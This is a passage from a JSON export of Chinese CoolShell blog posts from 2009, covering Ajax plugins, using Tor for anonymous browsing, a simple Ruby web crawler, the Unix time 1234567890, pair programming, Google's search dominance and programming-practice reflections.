插件（**[**源码**](http://www.lousyllama.com/sites/www.lousyllama.com/files/jquery.autotab-1.1b.js.txt)**，**[**演示**](http://www.lousyllama.com/sandbox/jquery-autotab)**）**\n\n\n我们知道，在我们输入WEB表单的时候，当我们输入完一个字段的时候，我们需要按Tab键或是用鼠标去点击下一个输入域，所以，如果有一个好的插件可以让光标自动跳到下一个输入域，这会是一个非常不错的用户体验。这个JQuery的插件可以做到这件事。\n\n\nhttp://nettuts.s3.amazonaws.com/090_20ajax/17.png\n\n\n \n\n\n**19) 表格排序Ajax（**[**源码**](http://www.box.net/shared/53al1imrk4)**）**\n\n\n单击表格头标题可以根据该列对整个表格排序，是一个非常不错的功能。这里有一个非常不错的[教程](http://woork.blogspot.com/2008/02/sort-table-rows-using-ajax.html)教你如何做到这个事，其最终的Javascript是[sortable.js](http://www.kryogenix.org/code/browser/sorttable/)。\n\n\nhttp://nettuts.s3.amazonaws.com/090_20ajax/19.png\n\n\n \n\n\n20)  DrasticMap ([源码](http://www.drasticdata.nl/DDDownloads.php)，[演示](http://www.drasticdata.nl/DDExamples.php))\n\n\n[Google Maps](http://maps.google.com/)大家都很熟悉了，DrasticMap 可能让你后台的PHP和Mysql数据库同Google Map链动起来，它可以方便地把存储在数据库里的经纬库坐标展示在Google Map上。而且，它相当的灵活，它似乎可以被无限度\n\n\nhttp://nettuts.s3.amazonaws.com/090_20ajax/20.jpg\n\n\n文章来源：[链接](http://nettuts.com/web-roundups/20-excellent-ajax-effects-you-should-know/)\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Javascript 装载和执行](../wp-content/uploads/2013/06/javascript-150x150.jpg)](https://coolshell.cn/articles/9749.html)[Javascript 装载和执行](https://coolshell.cn/articles/9749.html)\n* [![一次Ajax查错的经历](../wp-content/uploads/2012/08/ajax_error-150x150.jpg)](https://coolshell.cn/articles/8170.html)[一次Ajax查错的经历](https://coolshell.cn/articles/8170.html)\n* [![一些非常有意思的杂项资源](../wp-content/uploads/2010/09/biolab-150x150.jpg)](https://coolshell.cn/articles/3013.html)[一些非常有意思的杂项资源](https://coolshell.cn/articles/3013.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/18.jpg](https://coolshell.cn/articles/2593.html)[Web版的VNC](https://coolshell.cn/articles/2593.html)\n* [![Ajax开发利器UIzard ](../wp-content/uploads/2009/10/uizard2-150x150.jpg)](https://coolshell.cn/articles/1611.html)[Ajax开发利器UIzard](https://coolshell.cn/articles/1611.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg](https://coolshell.cn/articles/909.html)[7个免费强大的Ajax文件管理器](https://coolshell.cn/articles/909.html)\nThe post [你应该知道的20个Ajax技术(11-20)](https://coolshell.cn/articles/9.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-3-2 如何上网觅无踪.md",
    "content": "---\nlayout: post\ntitle: 如何上网觅无踪\ndate: 2009/3/2/ 6:0:43\nupdated: 2009/3/2/ 6:0:43\nstatus: publish\npublished: true\ntype: post\n---\n\n\nhttp://img.henku.com/softimages/small/20080714_111637_406_u.jpg \"TOR\"Tor是一个是开源项目，网址<http://www.torproject.org>（很遗憾，这个网站因为GFW，在中国大陆你无法访问，），TOR这个项目，旨在把这个世界上所有的代理服务器或是使用Tor的这各个客户端串在一起，形成一个虚似的网络。\n\n\n这是一个分布式的，通过一种P2P技术构建的网络。这个技术很像是BT或是电驴所使用的技术。不过，Tor 的目标是抵御流量分析，流量分析是一种对网络的监视行为，这种行为会威胁个人的匿名与隐私，商业活动与业务关系的保密和国家的安全，打破网络屏蔽。\n\n\n\n也就是说，这是一种可以保护你私人上网信息的技术。你每次请求网页你都会通过第三方，每一次你都会使用不同的路由，不同的IP地址，从而达到你在网上的行踪无人可觅。\n\n\n这是我推荐你下载一个三套件，Vidalia Bundle，其中包括，Vidalia, Tor 和 Privoxy，也是属于Tor这个项目。你知道的，所有的开源项目都会互相借鉴，Tor也不例，除了自己的东西，同样也会借鉴别人的项目。\n\n\n安装后，你可以在你的开始菜单中找到“Vidalia Bundle”，然后，请先启动Privoxy，然后启动Tor，此时，你可以把你的浏览器的Sock代理设置为127.0.0.1，端口号是9050。（注意：这是Sock代理，不是HTTP代理）如果你使用的是Firefox，你只需要下载一个Firfox的Tor插件就可以完全代理的设置了。\n\n\n使用TOR，不但可以让自己的上网无踪迹，同样也可以突破我们国家的Great Firewall而去访问很多不能访问的国外站点。\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![聊聊 nostr 和 审查](../wp-content/uploads/2023/02/nostr-aplicacion-descentralizada-1140x570-1-150x150.png)](https://coolshell.cn/articles/22367.html)[聊聊 nostr 和 审查](https://coolshell.cn/articles/22367.html)\n* [![记一次Kubernetes/Docker网络排障](../wp-content/uploads/2018/12/docker-networking-1-150x150.png)](https://coolshell.cn/articles/18654.html)[记一次Kubernetes/Docker网络排障](https://coolshell.cn/articles/18654.html)\n* [![Alan Cox：单向链表中prev指针的妙用](../wp-content/uploads/2013/06/Alan-Cox-150x150.jpg)](https://coolshell.cn/articles/9859.html)[Alan Cox：单向链表中prev指针的妙用](https://coolshell.cn/articles/9859.html)\n* [![橡皮鸭程序调试法](../wp-content/uploads/2009/11/Rubber-Duck-150x150.jpg)](https://coolshell.cn/articles/1719.html)[橡皮鸭程序调试法](https://coolshell.cn/articles/1719.html)\n* [![Lua简明教程](../wp-content/uploads/2013/12/lua-150x150.gif)](https://coolshell.cn/articles/10739.html)[Lua简明教程](https://coolshell.cn/articles/10739.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/16.jpg](https://coolshell.cn/articles/1949.html)[Web中的省略号](https://coolshell.cn/articles/1949.html)\nThe post [如何上网觅无踪](https://coolshell.cn/articles/25.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-3-2 如何自己写一个网络爬虫.md",
    "content": "---\nlayout: post\ntitle: 如何自己写一个网络爬虫\ndate: 2009/3/2/ 6:2:3\nupdated: 2009/3/2/ 6:2:3\nstatus: publish\npublished: true\ntype: post\n---\n\n[这里](http://en.wikipedia.org/wiki/Web_spider)是维基百科对网络爬虫的词条页面。网络爬虫以叫网络蜘蛛，网络机器人，这是一个程序，其会自动的通过网络抓取互联网上的网页，这种技术一般可能用来检查你的站点上所有的链接是否是都是有效的。当然，更为高级的技术是把网页中的相关数据保存下来，可以成为搜索引擎。\n\n\n从技相来说，实现抓取网页可能并不是一件很困难的事情，困难的事情是对网页的分析和整理，那是一件需要有轻量智能，需要大量数学计算的程序才能做的事情。下面一个简单的流程：\n\n\n\nhttp://upload.wikimedia.org/wikipedia/commons/thumb/d/df/WebCrawlerArchitecture.svg/500px-WebCrawlerArchitecture.svg.png\n\n\n在这里，我们只是说一下如何写一个网页抓取程序。\n\n\n首先我们先看一下，如何使用命令行的方式来找开网页。\n\n\ntelnet somesite.com 80  \n\nGET /index.html HTTP/1.0  \n\n按回车两次\n\n\n使用telnet就是告诉你其实这是一个socket的技术，并且使用HTTP的协议，如GET方法来获得网页，当然，接下来的事你就需要解析HTML文法，甚至还需要解析Javascript，因为现在的网页使用Ajax的越来越多了，而很多网页内容都是通过Ajax技术加载的，因为，只是简单地解析HTML文件在未来会远远不够。当然，在这里，只是展示一个非常简单的抓取，简单到只能做为一个例子，下面这个示例的伪代码：\n\n\n\n```\n取网页\nfor each 链接 in 当前网页所有的链接\n{\n        if(如果本链接是我们想要的 || 这个链接从未访问过)\n        {\n                处理对本链接\n                把本链接设置为已访问\n        }\n}\n```\n\n\n```\nrequire “rubygems”\nrequire “mechanize”\n\nclass Crawler < WWW::Mechanize\n\n  attr_accessor :callback\n  INDEX = 0\n  DOWNLOAD = 1\n  PASS = 2\n\n  def initialize\n    super\n    init\n    @first = true\n    self.user_agent_alias = “Windows IE 6″\n  end\n\n  def init\n    @visited = []\n  end\n\n  def remember(link)\n    @visited << link\n  end\n\n  def perform_index(link)\n    self.get(link)\n    if(self.page.class.to_s == “WWW::Mechanize::Page”)\n      links = self.page.links.map {|link| link.href } - @visited\n      links.each do |alink|\n        start(alink)\n      end\n    end\n  end\n\n  def start(link)\n    return if link.nil?\n    if(!@visited.include?(link))\n      action = @callback.call(link)\n      if(@first)\n        @first = false\n        perform_index(link)\n      end\n      case action\n        when INDEX\n          perform_index(link)\n        when DOWNLOAD\n          self.get(link).save_as(File.basename(link))\n        when PASS\n          puts “passing on #{link}”\n      end\n    end\n  end\n\n  def get(site)\n    begin\n      puts “getting #{site}”\n      @visited << site\n      super(site)\n    rescue\n      puts “error getting #{site}”\n    end\n  end\nend\n```\n\n上面的代码就不必多说了，大家可以去试试。下面是如何使用上面的代码：\n\n\n\n```\nrequire “crawler”\n\nx = Crawler.new\ncallback = lambda do |link|\n  if(link =~/\\\\.(zip|rar|gz|pdf|doc)\n    x.remember(link)\n    return Crawler::PASS\n  elsif(link =~/\\\\.(jpg|jpeg)/)\n    return Crawler::DOWNLOAD\n  end\n  return Crawler::INDEX;\nend\n\nx.callback = callback\nx.start(”http://somesite.com”)\n```\n\n下面是一些和网络爬虫相关的开源网络项目\n\n\n* [**arachnode.net**](http://arachnode.net/ \"http://arachnode.net\") is a .NET crawler written in C# using SQL 2005 and [Lucene](http://en.wikipedia.org/wiki/Lucene \"Lucene\") and is released under the [GNU General Public License](http://en.wikipedia.org/wiki/GNU_General_Public_License \"GNU General Public License\").\n* **[DataparkSearch](http://en.wikipedia.org/wiki/DataparkSearch \"DataparkSearch\")** is a crawler and search engine released under the [GNU General Public License](http://en.wikipedia.org/wiki/GNU_General_Public_License \"GNU General Public License\").\n* **[GNU Wget](http://en.wikipedia.org/wiki/Wget \"Wget\")** is a [command-line](http://en.wikipedia.org/wiki/Command_line_interface \"Command line interface\")-operated crawler written in [C](http://en.wikipedia.org/wiki/C_%28programming_language%29 \"C (programming language)\") and released under the [GPL](http://en.wikipedia.org/wiki/GNU_General_Public_License \"GNU General Public License\"). It is typically used to mirror Web and FTP sites.\n* **[GRUB](http://en.wikipedia.org/wiki/Grub_%28search_engine%29 \"Grub (search engine)\")** is an open source distributed search crawler that Wikia Search ( [http://wikiasearch.com](http://wikiasearch.com/ \"http://wikiasearch.com\") ) uses to crawl the web.\n* **[Heritrix](http://en.wikipedia.org/wiki/Heritrix \"Heritrix\")** is the [Internet Archive](http://en.wikipedia.org/wiki/Internet_Archive \"Internet Archive\")’s archival-quality crawler, designed for archiving periodic snapshots of a large portion of the Web. It was written in [Java](http://en.wikipedia.org/wiki/Java_%28programming_language%29 \"Java (programming language)\").\n* **[ht://Dig](http://en.wikipedia.org/wiki/Ht-//dig \"Ht-//dig\")** includes a Web crawler in its indexing engine.\n* **[HTTrack](http://en.wikipedia.org/wiki/HTTrack \"HTTrack\")** uses a Web crawler to create a mirror of a web site for off-line viewing. It is written in [C](http://en.wikipedia.org/wiki/C_%28programming_language%29 \"C (programming language)\") and released under the [GPL](http://en.wikipedia.org/wiki/GNU_General_Public_License \"GNU General Public License\").\n* **[ICDL Crawler](http://en.wikipedia.org/wiki/ICDL_crawling \"ICDL crawling\")** is a [cross-platform](http://en.wikipedia.org/wiki/Cross-platform \"Cross-platform\") web crawler written in [C++](http://en.wikipedia.org/wiki/C%2B%2B \"C++\") and intended to crawl Web sites based on\n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![如何免费的让网站启用HTTPS](../wp-content/uploads/2017/08/enable-https-banner-150x150.png)](https://coolshell.cn/articles/18094.html)[如何免费的让网站启用HTTPS](https://coolshell.cn/articles/18094.html)\n* [![DHH 谈混合移动应用开发](../wp-content/uploads/2014/12/1053-DHH-150x150.jpg)](https://coolshell.cn/articles/12225.html)[DHH 谈混合移动应用开发](https://coolshell.cn/articles/12225.html)\n* [![HTML6 展望](../wp-content/uploads/2014/12/html6-150x150.jpeg)](https://coolshell.cn/articles/12206.html)[HTML6 展望](https://coolshell.cn/articles/12206.html)\n* [![Google Inbox如何跨平台重用代码？](../wp-content/uploads/2014/11/inbox2-640x264-150x150.jpg)](https://coolshell.cn/articles/12136.html)[Google Inbox如何跨平台重用代码？](https://coolshell.cn/articles/12136.html)\n* [![State Threads 回调终结者](../wp-content/uploads/2014/10/edsm-150x150.gif)](https://coolshell.cn/articles/12012.html)[State Threads 回调终结者](https://coolshell.cn/articles/12012.html)\nThe post [如何自己写一个网络爬虫](https://coolshell.cn/articles/27.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-3-2 时间1234567890.md",
    "content": "---\nlayout: post\ntitle: 时间1234567890\ndate: 2009/3/2/ 5:51:6\nupdated: 2009/3/2/ 5:51:6\nstatus: publish\npublished: true\ntype: post\n---\n\n“At 11:31:30pm UTC on Feb 13, 2009, Unix time will reach 1,234,567,890.  \n\nWhere will you be at this momentous second?” – from **Bell Labs** \n\n\n在下周五或周六的某一时间，计算机的时间戳（TimeStamp）为变成奇妙的1234567890，而这一天就是——格林威治时间：2009年2月13日 11:31:30 。\n\n\n \n\n\n当然，因为这个时间在地球上某些地方是13日，某些地方是14日，不同的时区可能会不一样。不过，你可以使用Unix/Linux 下的Perl运行一下这个命令你就知道你的当地时间了。\n\n\n\nperl -e ‘print scalar localtime(1234567890),”\\\\n”;’\n\n\n对于中国GMT+8（东八区）的时间如下：2009年2月14日 早上7点31分30秒，你会在这一时刻干什么？你会在某个地方做点什么事庆祝一下吗？或是你会因为今天是情人节而在这个时间给你的爱人发个短信吗？呵呵。\n\n\n不过，西方某些迷信的还懂编程的朋友们开始显得有点焦虑，因为那天就是传说中的“黑色星期五”（13日星期五）。嘿嘿。\n\n\n \n\n\n接下来是“科普教育”，名词解释\n\n\n1）时间戳：从1970年1月1日 00:00:00 以来的秒数。\n\n\n2）Y2K38：因为在Unix下，time\\_t 被定义成signed int，所以，有符号的32位整型本身有限(2147483647)，某一天这个整型为高位为一（负数），而这一个时间是——格林威治时间2038年1月19日03:14:07 。\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Unix 50 年：Ken Thompson 的密码](../wp-content/uploads/2019/11/ken.dennis-300x186-1-150x150.jpeg)](https://coolshell.cn/articles/19996.html)[Unix 50 年：Ken Thompson 的密码](https://coolshell.cn/articles/19996.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![Linux PID 1 和 Systemd](../wp-content/uploads/2017/07/systemd-1-150x150.jpeg)](https://coolshell.cn/articles/17998.html)[Linux PID 1 和 Systemd](https://coolshell.cn/articles/17998.html)\n* [![vfork 挂掉的一个问题](../wp-content/uploads/2014/11/tux-fork-150x150.gif)](https://coolshell.cn/articles/12103.html)[vfork 挂掉的一个问题](https://coolshell.cn/articles/12103.html)\n* [![谜题的答案和活动的心得体会](../wp-content/uploads/2014/08/puzzle-150x150.png)](https://coolshell.cn/articles/11847.html)[谜题的答案和活动的心得体会](https://coolshell.cn/articles/11847.html)\n* [![Unix考古记：一个“遗失”的shell](../wp-content/uploads/2013/04/figure1-150x150.gif)](https://coolshell.cn/articles/9410.html)[Unix考古记：一个“遗失”的shell](https://coolshell.cn/articles/9410.html)\nThe post [时间1234567890](https://coolshell.cn/articles/19.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-3-2 结对编程的利与弊.md",
    "content": "---\nlayout: post\ntitle: 结对编程的利与弊\ndate: 2009/3/2/ 5:48:59\nupdated: 2009/3/2/ 5:48:59\nstatus: publish\npublished: true\ntype: post\n---\n\n[![cccpairprogramming](../wp-content/uploads/2009/03/cccpairprogramming-150x150.jpg \"cccpairprogramming\")](https://coolshell.cn/wp-content/uploads/2009/03/cccpairprogramming.jpg)结对编程([Pair-Programming](http://en.wikipedia.org/wiki/Pair_programming))可能是近年来最为流行的编程方式。所谓结对编程，也就是两个人写一个程序，其中，一个人叫Driver，另一个人叫Observer，Driver在编程代码，而Observer在旁边实时查看Driver的代码，并帮助Driver编程。并且，Driver和Observer在一起时可以相互讨论，有效地避免了闭门造车，并可以减少后期的code review时间，以及代码的学习成本。\n\n\n\n有实验证明，平均下来，结对编程所花费的时候比单人编程增加了10%，但也会比单人编程减少15%的代码BUG。如果再算上后期代码的维护和学习成本，结对编程比单人编程更有效率，还更为节省成本。无论是对开发团队还是对于Business，结对编程都会是非常不错的Programming Practice。\n\n\n**下面是一些结对编程的优点：**\n\n\n1. 程序员互相帮助，互相教对方，可能得到能力上的互补。\n2. 可以让编程环境有效地贯彻Design。\n3. 增强代码和产品质量，并有效的减少BUG。\n4. 降低学习成本。一边编程，一边共享知识和经验，有效地在实践中进行学习。\n5. 在编程中，相互讨论，可能更快更有效地解决问题。\n\n\n **当然，结队编程也会有一些不好的地方：**\n\n\n1. 对于有不同习惯的编程人员，可以在起工作会产生麻烦，甚至矛盾。\n2. 有时候，程序员们会对一个问题各执己见（代码风格可能会是引发技术人员口水战的地方），争吵不休，反而产生重大内耗。\n3. 两个人在一起工作可能会出现工作精力不能集中的情况。程序员可能会交谈一些与工作无关的事情，反而分散注意力，导致效率比单人更为低下。\n4. 结对编程可能让程序员们相互学习得更快。有些时候，学习对方的长处，可能会和程序员们在起滋生不良气氛一样快。比如，合伙应付工作，敷衍项目。\n5. 面对新手，有经验的老手可能会觉得非常的烦躁。不合适的沟通会导到团队的不和谐。\n6. 新手在面对有经验的老手时会显得非常的紧张和不安，甚至出现害怕焦虑的的精神状态，从而总是出现低级错误，而老手站在他们后面不停地指责他们导致他们更加紧张，出现恶性循环。最终导致项目进展效率低下，并且团队貌合神离。\n7. 有经验的人更喜欢单兵作战，找个人来站在他背后看着他可能会让他感到非常的不爽，最终导致编程时受到情绪影响，反而出现反作用。\n\n\n是否使用结对编程，需要具体问题具体分析，不可盲目。任何事物都有他的好与坏，结对编程也不例外，只有知道了好与坏，你才能更好的利用它。\n\n\n最后，请记住，人是一种非常复杂的动物，他们的缺点和内心的阴暗面可能会比你想像得还要糟糕，而这些东西是可以让一切事物失败的。所以，正如《人件》所说，人才是软件开发中最核心，也是最需要花时间去关注的事情。\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg](https://coolshell.cn/articles/3778.html)[敏捷水管工](https://coolshell.cn/articles/3778.html)\n* [![“单元测试要做多细？”](../wp-content/uploads/2012/09/fight-150x150.jpg)](https://coolshell.cn/articles/8209.html)[“单元测试要做多细？”](https://coolshell.cn/articles/8209.html)\n* [![持续部署，并不简单！](../wp-content/uploads/2012/06/hudsonCI2-150x150.jpg)](https://coolshell.cn/articles/7657.html)[持续部署，并不简单！](https://coolshell.cn/articles/7657.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg](https://coolshell.cn/articles/5531.html)[Test-Driven Development？别逗了](https://coolshell.cn/articles/5531.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/19.jpg](https://coolshell.cn/articles/5625.html)[“品质在于构建过程”吗？](https://coolshell.cn/articles/5625.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg](https://coolshell.cn/articles/5143.html)[在新浪微博上关于敏捷的一些讨论](https://coolshell.cn/articles/5143.html)\nThe post [结对编程的利与弊](https://coolshell.cn/articles/16.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-3-2 读后感：房间里的大象：Google文化成为主导.md",
    "content": "---\nlayout: post\ntitle: 读后感：房间里的大象：Google文化成为主导\ndate: 2009/3/2/ 7:26:23\nupdated: 2009/3/2/ 7:26:23\nstatus: publish\npublished: true\ntype: post\n---\n\n一篇有关[Google在互联网市场已经造成垄断事实的文章](http://www.codinghorror.com/blog/archives/001224.html)。\n\n\n这里有个有意思的英文常用表达： elephant in the (living) room （房间里的一只大象），一般用来表达事情已经大到没办法睁一只眼闭一只眼了…例如：\n\n\n* 丈夫开始拿单位里年轻的姑娘的照片当壁纸\n* 公司虽然已经没有说要裁员，但是已经开始停止供应免费的厕所手纸\n* 我再举例子可能就有人要扔砖了\n\n\n\n \n\n\n互联网公司（不久的将来会延伸到很多非互联网公司）的成功，已经越来越依赖于自己能不能被搜索到，不能被搜索到的网页其实也就相当于不存在。而文中所点到的是一个大多数人已经知道的事实，那就是Google已经成为这个渠道无可厚非的“独裁者”。如果你是一位网站管理员并有系统的方法(例如：[Google Analytics](http://www.google.com/search?q=google+analytics)) 统计用户的来源，你大概会明白这其中的比例 （如果你没有统计方法，估计你在向管理层要预算的时候很难量化）。下表是一个叫 Stack Overflow的网站统计的一个月内访问自己网站的用户中搜索用户的分布：\n\n\n\n> Search Engine Visits\n> \n> \n> Google          3,417,919\n> \n> \n> Yahoo           9,779\n> \n> \n> Live            5,638\n> \n> \n> Search          2,961\n> \n> \n> AOL             1,274\n> \n> \n> Ask             1,186\n> \n> \n> MSN             1,177\n> \n> \n> Altavista       202\n> \n> \n> Yandex          191\n> \n> \n> Seznam          103\n> \n> \n\n\n是的，如果网站不能被搜到，基本上相当于不存在。\n\n\nAnyone else see the **elephant in the room**, there? No? （图片来源自 coding horror）\n\n\n[http://www.codinghorror.com/blog/images/banksy-elephant-in-room.jpg](http://www.newyorker.com/online/2007/05/14/slideshow_070514_banksy?viewall=true)\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![我看ChatGPT: 为啥谷歌掉了千亿美金](../wp-content/uploads/2023/02/chatgpt-150x150.jpg)](https://coolshell.cn/articles/22398.html)[我看ChatGPT: 为啥谷歌掉了千亿美金](https://coolshell.cn/articles/22398.html)\n* [![Google Inbox如何跨平台重用代码？](../wp-content/uploads/2014/11/inbox2-640x264-150x150.jpg)](https://coolshell.cn/articles/12136.html)[Google Inbox如何跨平台重用代码？](https://coolshell.cn/articles/12136.html)\n* [![PFIF网上寻人协议](../wp-content/uploads/2013/04/Google-Person-Finder-150x150.png)](https://coolshell.cn/articles/9508.html)[PFIF网上寻人协议](https://coolshell.cn/articles/9508.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg](https://coolshell.cn/articles/5815.html)[来信， 创业 和 移动互联网](https://coolshell.cn/articles/5815.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg](https://coolshell.cn/articles/5701.html)[SteveY对Amazon和Google平台的吐槽](https://coolshell.cn/articles/5701.html)\n* [![一些文章和各种资源](../wp-content/uploads/2011/09/image008-150x150.jpg)](https://coolshell.cn/articles/5224.html)[一些文章和各种资源](https://coolshell.cn/articles/5224.html)\nThe post [读后感：房间里的大象：Google文化成为主导](https://coolshell.cn/articles/33.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-3-2 读后感：真正编程的力量.md",
    "content": "---\nlayout: post\ntitle: 读后感：真正编程的力量\ndate: 2009/3/2/ 6:3:15\nupdated: 2009/3/2/ 6:3:15\nstatus: publish\npublished: true\ntype: post\n---\n\n读到 [coding horror](http://www.codinghorror.com/blog/) (不知道中文翻译是什么，“代码恐慌”？) 中的文章 [Real Ultimate Programming Power](http://www.codinghorror.com/blog/archives/000856.html)\n\n\n文中讲到了软件开发中的方法论和其的演化，但是最让人觉得有意思的是两个引述：\n\n\n\n> The majority of developers do not suffer from too much design patterns, or too much SOLID, or agile, or waterfall for that matter. They suffer from whipping out cowboy code in a pure chaos environment, using simplistic drag & drop, data driven, vb-like techniques.\n> \n> \n> 翻译： 让大多数软件开发者痛苦的，不是过多的设计模式，过多的SOLID(见注解), 过多的敏捷开发，或者瀑布模型；让大多数开发者痛苦的是在混乱的环境中用低级方式除去代码仙人留下来的古怪代码（好吧，这是我对cowboy code的曲解）。\n> \n> \n\n\n\n\n> But here’s the paradox: the types of programmers who would most benefit from these guidelines, rules, principles, and checklists are the least likely to read and follow them. **Throwing a book of rules at a terrible programmer just creates a terrible programmer with a bruise on their head where the book bounced off.**\n> \n> \n> 翻译：…悖论的是，那些最能够从编程指导，规矩，原则和核对清单等方法中收益的人往往是那些最少读这些东西的人。把一本有关编程原则的书扔向一个烂程序员，顶多也就是让他脑袋上多一块淤青，书被弹回来而已。\n> \n> \n\n\n \n\n\n流程对生产软件的作用可能是只有站在改造IBM的Peter Drucker那个高度的人才有价值的（但是，当你站在足够远的地方，地球不也就是一个蓝色的小点儿么？） 一个好的软件的产生，往往还是需要英雄人物的带领，剩下来的，还是人的问题。\n\n\n附录：文中引到了一个很有价值的[书目 (reading list)](http://www.codinghorror.com/blog/archives/000020.html)： 从《代码大全》，《人月神话》，《点石成金》到《编程珠玑》、《精通正则表达式》，值得一览，在去书店的路上或者在当当网上闲荡的时候可以回顾一下。\n\n\n\n> [![经典书目 - 截取自 coding horror 2004年的一篇博文](../wp-content/uploads/2009/02/ss.jpg \"经典书目 - 截取自 coding horror 2004年的一篇博文\")](http://www.codinghorror.com/blog/archives/000020.html)\n> \n> \n\n\n**SOLID:**\n\n\nfive principles are principles of *class design*. They are:\n\n\n\n\n|  |  |  |\n| --- | --- | --- |\n| **SRP** | [The Single Responsibility Principle](http://www.objectmentor.com/resources/articles/srp.pdf) | *A class should have one, and only one, reason to change.* |\n| **OCP** | [The Open Closed Principle](http://www.objectmentor.com/resources/articles/ocp.pdf) | *You should be able to extend a classes behavior, without modifying it.* |\n| **LSP** | [The Liskov Substitution Principle](http://www.objectmentor.com/resources/articles/lsp.pdf) | *Derived classes must be substitutable for their base classes.* |\n| **DIP** | [The Dependency Inversion Principle](http://www.objectmentor.com/resources/articles/dip.pdf) | *Depend on abstractions, not on concretions.* |\n| **ISP** | [The Interface Segregation Principle](http://www.objectmentor.com/resources/articles/isp.pdf) | *Make fine grained interfaces that are client specific.* |\n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg](https://coolshell.cn/articles/4844.html)[“另类” 设计模式](https://coolshell.cn/articles/4844.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/28.jpg](https://coolshell.cn/articles/2667.html)[浏览器正则表达式检查插件](https://coolshell.cn/articles/2667.html)\n* [![Cuckoo Filter：设计与实现](../wp-content/uploads/2015/08/cuckoo-150x150.jpg)](https://coolshell.cn/articles/17225.html)[Cuckoo Filter：设计与实现](https://coolshell.cn/articles/17225.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg](https://coolshell.cn/articles/933.html)[如何加密/混乱C源代码](https://coolshell.cn/articles/933.html)\n* [![Java中的CopyOnWrite容器](../wp-content/uploads/2014/03/cow-copy-150x150.jpg)](https://coolshell.cn/articles/11175.html)[Java中的CopyOnWrite容器](https://coolshell.cn/articles/11175.html)\n* [![Javascript 中的 var](../wp-content/uploads/2012/05/jslint-150x150.jpg)](https://coolshell.cn/articles/7480.html)[Javascript 中的 var](https://coolshell.cn/articles/7480.html)\nThe post [读后感：真正编程的力量](https://coolshell.cn/articles/29.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-3-2 资源推荐 Google Code University.md",
    "content": "---\nlayout: post\ntitle: 资源推荐: Google Code University\ndate: 2009/3/2/ 7:27:29\nupdated: 2009/3/2/ 7:27:29\nstatus: publish\npublished: true\ntype: post\n---\n\n如果你的专业课里有过不少计算机科学之类的内容，你可能还记得很多中文课本不太好读，其原因一方面有可能因为是课本里的语言（符号）粗制滥造，另一方面有可能是因为你的思维方式不适应课本里的内容。\n\n\n我推荐所有能看懂英文的读者多去搜索一下英文世界里的教材，从而能够摆脱劣质教材或语言因素所带来的束缚。为什么推荐英文教材呢？大家可以参考一下英文教材编写者(计算机科学界大儒，图灵奖得住) [Dijkstra](http://www.cs.utexas.edu/users/EWD/)对于自己写作上的要求：\n\n\n\n> At a given moment, the concept of polite mathematics emerged, the underlying idea of which is that, even if you have only 60 readers, it pays to spend an hour if by doing so you can save your average reader a minute…\n> \n> \n\n\n \n\n\n\n> 翻译：任何时候，你（作者）在书中要解释一些带有数学成分的概念，你（作者）应该有这样的理念：哪怕这个内容只有60个读者，（作者）花1小时仔细推敲措辞从而省去每个普通读者的1分钟都是值得的…\n> \n> 